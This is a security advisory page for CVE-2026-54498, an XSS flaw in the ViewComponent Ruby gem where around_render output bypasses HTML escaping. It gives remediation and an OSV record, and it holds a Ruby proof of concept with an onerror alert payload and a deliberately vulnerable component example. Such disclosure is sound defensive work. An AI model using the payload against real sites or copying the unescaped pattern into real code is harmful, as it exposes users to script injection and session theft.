CVE-2026-54498: ViewComponent Around_render HTML-Safety Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-97jw-64cj-jc58
CVSS 8.7
CWE-79
Published
Advisory Summary

CVE-2026-54498 is a HIGH (CVSS 8.7) around_render html-safety bypass vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting ViewComponent libraries in the RubyGems ecosystem. The issue involves around_render html-safety bypass. Remediation is available by upgrading affected packages to version 4.12.0.

CVE-2026-54498 at a Glance

CVE Identifier CVE-2026-54498
GHSA Identifier GHSA-97jw-64cj-jc58
Severity HIGH
CVSS v3.1 Base Score 8.7
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product ViewComponent
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 8.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-54498

To remediate this vulnerability, upgrade all affected ViewComponent dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

view_component fixed: 4.12.0
Upgrade view_component to 4.12.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for view_component

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54498, inspect your project dependencies for ViewComponent:

inspect dependencies for view_component

Analyze the terminal output to locate any version of ViewComponent in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.12.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In ViewComponent, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `ViewComponent::Base#around_render` can return HTML-unsafe strings that bypass the escaping behavior applied to normal `#call` return values. This creates an XSS risk when downstream applications use `around_render` to wrap, replace, instrument, or conditionally return content that includes user-controlled data. The issue is especially dangerous in collection rendering because `ViewComponent::Collection#render_in` joins the per-item results and marks the entire output as `html_safe`, converting raw unsafe output into a trusted `ActiveSupport::SafeBuffer`. ## Affected Code Validated against: - Repository commit: `eea79445` - Ruby: `3.4.9` Relevant locations: - `lib/view_component/base.rb` - `render_in` - `around_render` - `__vc_maybe_escape_html` - `lib/view_component/template.rb` - `InlineCall#safe_method_name_call` - `lib/view_component/collection.rb` - `Collection#render_in` Key code paths: ```ruby # lib/view_component/base.rb around_render do render_template_for(@__vc_requested_details).to_s end ``` ```ruby # lib/view_component/template.rb proc do __vc_maybe_escape_html(send(m)) do Kernel.warn(...) end end ``` ```ruby # lib/view_component/collection.rb components.map do |component| component.render_in(view_context, &block) end.join(rendered_spacer(view_context)).html_safe ``` ## Root Cause Normal inline `#call` output is passed through `__vc_maybe_escape_html`, which escapes HTML-unsafe strings. However, when `around_render` itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary. This creates two different output-safety behaviors: - `#call` returning unsafe string: escaped - `#around_render` returning unsafe string: raw Collection rendering then amplifies the issue by calling `.html_safe` on the joined result. ## Proof of Concept Run from the repository root: ```ruby $LOAD_PATH.unshift File.expand_path("lib", Dir.pwd) require "action_controller/railtie" require "rack/mock" require "view_component/base" class PocController < ActionController::Base; end def vc c = PocController.new c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc"))) c.set_response!(ActionDispatch::Response.new) c.view_context end PAYLOAD = "<img src=x onerror=alert(1)>" class UnsafeCallComponent < ViewComponent::Base def initialize(payload:) = @payload = payload def call = @payload end class UnsafeAroundComponent < ViewComponent::Base def initialize(payload:) = @payload = payload def call = "SAFE" def around_render = @payload end class UnsafeAroundCollectionComponent < ViewComponent::Base with_collection_parameter :payload def initialize(payload:) = @payload = payload def call = "SAFE" def around_render = @payload end view_context = vc normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context) around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context) collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context) puts "normal_call=#{normal}" puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}" puts "around_render=#{around}" puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}" puts "collection=#{collection}" puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}" c = PocController.new c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc"))) c.set_response!(ActionDispatch::Response.new) out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD)) puts "controller_render_to_string=#{out}" puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}" ``` Observed output: ```text normal_call=&lt;img src=x onerror=alert(1)&gt; normal_call_raw=false html_safe=true around_render=<img src=x onerror=alert(1)> around_render_raw=true html_safe=false collection=<img src=x onerror=alert(1)> collection_raw=true html_safe=true controller_render_to_string=<img src=x onerror=alert(1)> controller_raw=true html_safe=false ``` The control case confirms that normal `#call` output is escaped. The `around_render` cases confirm that the same payload is emitted raw. ## Exploit Scenario A downstream application defines a component that uses `around_render` for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML. Example vulnerable pattern: ```ruby class BannerComponent < ViewComponent::Base def initialize(message:) @message = message end def call "fallback" end def around_render "<div class=\"banner\">#{@message}</div>" end end ``` If `message` is user-controlled, scriptable HTML reaches the browser. ## Impact Successful exploitation allows XSS in applications using affected components. Depending on application context, impact can include: - session or token theft where cookies/tokens are accessible - authenticated actions as the victim - CSRF bypass through same-origin script execution - exfiltration of page data - credential phishing or UI redress inside trusted application origin The collection path is particularly risky because it converts the joined raw output to `html_safe`, which can suppress later escaping. ## Preconditions - The application defines or uses a component overriding `around_render`. - `around_render` returns or wraps attacker-influenced HTML-unsafe content. - The component is rendered in a browser-visible response. - Higher impact when rendered through `ViewComponent::Collection` or controller/direct rendering. ## Chaining Potential This finding can chain with: - preview routes or examples that accept URL parameters and render components - unsafe markdown or CMS content rendered inside `around_render` - CSP-disabled preview routes - applications that expose admin-only pages containing affected components ## Remediation Apply the same HTML-safety enforcement to `around_render` return values that is applied to normal inline `#call` output. Possible approaches: 1. Wrap the result of `around_render` with `__vc_maybe_escape_html` when the current template is HTML. 2. Require `around_render` to return an `ActiveSupport::SafeBuffer` to opt into raw HTML. 3. In collection rendering, avoid blindly calling `.html_safe` on joined component outputs unless each item has been normalized through the same safety boundary.

CVE-2026-54498 Affected ViewComponent Versions

1 component(s)
Fixed Versions:
4.12.0
Product / Package Ecosystem Affected Versions Fixed Version
view_component
RubyGems
≥ 4.0.0
< 4.12.0
4.12.0

References

Frequently Asked Questions

What is CVE-2026-54498?
CVE-2026-54498 is a security vulnerability in ViewComponent involving around_render HTML-Safety Bypass under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which ViewComponent versions are affected?
Affected versions include releases prior to 4.12.0 across affected packages: view_component.
What version fixes CVE-2026-54498?
Upgrading to 4.12.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is view_component affected?
Yes, view_component is affected in releases prior to 4.12.0. Upgrade your dependency to 4.12.0 or later.
What is the CVSS score of CVE-2026-54498?
CVE-2026-54498 has a CVSS v3.1 base score of 8.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-54498?
CVE-2026-54498 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check RubyGems dependencies for CVE-2026-54498?
Run the dependency tree command: 'inspect dependencies for view_component'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-97jw-64cj-jc58",
  "modified" : "2026-07-15T22:51:04Z",
  "published" : "2026-07-15T22:51:04Z",
  "aliases" : [ "CVE-2026-54498" ],
  "summary" : "ViewComponent: around_render HTML-Safety Bypass",
  "details" : "## Summary\n\n`ViewComponent::Base#around_render` can return HTML-unsafe strings that bypass the escaping behavior applied to normal `#call` return values. This creates an XSS risk when downstream applications use `around_render` to wrap, replace, instrument, or conditionally return content that includes user-controlled data.\n\nThe issue is especially dangerous in collection rendering because `ViewComponent::Collection#render_in` joins the per-item results and marks the entire output as `html_safe`, converting raw unsafe output into a trusted `ActiveSupport::SafeBuffer`.\n\n\n## Affected Code\n\nValidated against:\n\n- Repository commit: `eea79445`\n- Ruby: `3.4.9`\n\nRelevant locations:\n\n- `lib/view_component/base.rb`\n  - `render_in`\n  - `around_render`\n  - `__vc_maybe_escape_html`\n- `lib/view_component/template.rb`\n  - `InlineCall#safe_method_name_call`\n- `lib/view_component/collection.rb`\n  - `Collection#render_in`\n\nKey code paths:\n\n```ruby\n# lib/view_component/base.rb\naround_render do\n  render_template_for(@__vc_requested_details).to_s\nend\n```\n\n```ruby\n# lib/view_component/template.rb\nproc do\n  __vc_maybe_escape_html(send(m)) do\n    Kernel.warn(...)\n  end\nend\n```\n\n```ruby\n# lib/view_component/collection.rb\ncomponents.map do |component|\n  component.render_in(view_context, &block)\nend.join(rendered_spacer(view_context)).html_safe\n```\n\n## Root Cause\n\nNormal inline `#call` output is passed through `__vc_maybe_escape_html`, which escapes HTML-unsafe strings. However, when `around_render` itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.\n\nThis creates two different output-safety behaviors:\n\n- `#call` returning unsafe string: escaped\n- `#around_render` returning unsafe string: raw\n\nCollection rendering then amplifies the issue by calling `.html_safe` on the joined result.\n\n## Proof of Concept\n\nRun from the repository root:\n\n```ruby\n$LOAD_PATH.unshift File.expand_path(\"lib\", Dir.pwd)\nrequire \"action_controller/railtie\"\nrequire \"rack/mock\"\nrequire \"view_component/base\"\n\nclass PocController < ActionController::Base; end\n\ndef vc\n  c = PocController.new\n  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(\"/poc\")))\n  c.set_response!(ActionDispatch::Response.new)\n  c.view_context\nend\n\nPAYLOAD = \"<img src=x onerror=alert(1)>\"\n\nclass UnsafeCallComponent < ViewComponent::Base\n  def initialize(payload:) = @payload = payload\n  def call = @payload\nend\n\nclass UnsafeAroundComponent < ViewComponent::Base\n  def initialize(payload:) = @payload = payload\n  def call = \"SAFE\"\n  def around_render = @payload\nend\n\nclass UnsafeAroundCollectionComponent < ViewComponent::Base\n  with_collection_parameter :payload\n  def initialize(payload:) = @payload = payload\n  def call = \"SAFE\"\n  def around_render = @payload\nend\n\nview_context = vc\n\nnormal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)\naround = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)\ncollection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)\n\nputs \"normal_call=#{normal}\"\nputs \"normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}\"\nputs \"around_render=#{around}\"\nputs \"around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}\"\nputs \"collection=#{collection}\"\nputs \"collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}\"\n\nc = PocController.new\nc.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(\"/poc\")))\nc.set_response!(ActionDispatch::Response.new)\nout = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))\nputs \"controller_render_to_string=#{out}\"\nputs \"controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}\"\n```\n\nObserved output:\n\n```text\nnormal_call=&lt;img src=x onerror=alert(1)&gt;\nnormal_call_raw=false html_safe=true\naround_render=<img src=x onerror=alert(1)>\naround_render_raw=true html_safe=false\ncollection=<img src=x onerror=alert(1)>\ncollection_raw=true html_safe=true\ncontroller_render_to_string=<img src=x onerror=alert(1)>\ncontroller_raw=true html_safe=false\n```\n\nThe control case confirms that normal `#call` output is escaped. The `around_render` cases confirm that the same payload is emitted raw.\n\n## Exploit Scenario\n\nA downstream application defines a component that uses `around_render` for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.\n\nExample vulnerable pattern:\n\n```ruby\nclass BannerComponent < ViewComponent::Base\n  def initialize(message:)\n    @message = message\n  end\n\n  def call\n    \"fallback\"\n  end\n\n  def around_render\n    \"<div class=\\\"banner\\\">#{@message}</div>\"\n  end\nend\n```\n\nIf `message` is user-controlled, scriptable HTML reaches the browser.\n\n## Impact\n\nSuccessful exploitation allows XSS in applications using affected components. Depending on application context, impact can include:\n\n- session or token theft where cookies/tokens are accessible\n- authenticated actions as the victim\n- CSRF bypass through same-origin script execution\n- exfiltration of page data\n- credential phishing or UI redress inside trusted application origin\n\nThe collection path is particularly risky because it converts the joined raw output to `html_safe`, which can suppress later escaping.\n\n## Preconditions\n\n- The application defines or uses a component overriding `around_render`.\n- `around_render` returns or wraps attacker-influenced HTML-unsafe content.\n- The component is rendered in a browser-visible response.\n- Higher impact when rendered through `ViewComponent::Collection` or controller/direct rendering.\n\n## Chaining Potential\n\nThis finding can chain with:\n\n- preview routes or examples that accept URL parameters and render components\n- unsafe markdown or CMS content rendered inside `around_render`\n- CSP-disabled preview routes\n- applications that expose admin-only pages containing affected components\n\n## Remediation\n\nApply the same HTML-safety enforcement to `around_render` return values that is applied to normal inline `#call` output.\n\nPossible approaches:\n\n1. Wrap the result of `around_render` with `__vc_maybe_escape_html` when the current template is HTML.\n2. Require `around_render` to return an `ActiveSupport::SafeBuffer` to opt into raw HTML.\n3. In collection rendering, avoid blindly calling `.html_safe` on joined component outputs unless each item has been normalized through the same safety boundary.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "view_component"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.12.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ViewComponent/view_component/security/advisories/GHSA-97jw-64cj-jc58"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ViewComponent/view_component/commit/48e5fd2d602344c7d33019fbc5c8b087e315bb78"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ViewComponent/view_component"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ViewComponent/view_component/releases/tag/v4.12.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-54498.yml"
  }, {
    "type" : "WEB",
    "url" : "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54498"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-15T22:51:04Z",
    "nvd_published_at" : null
  }
}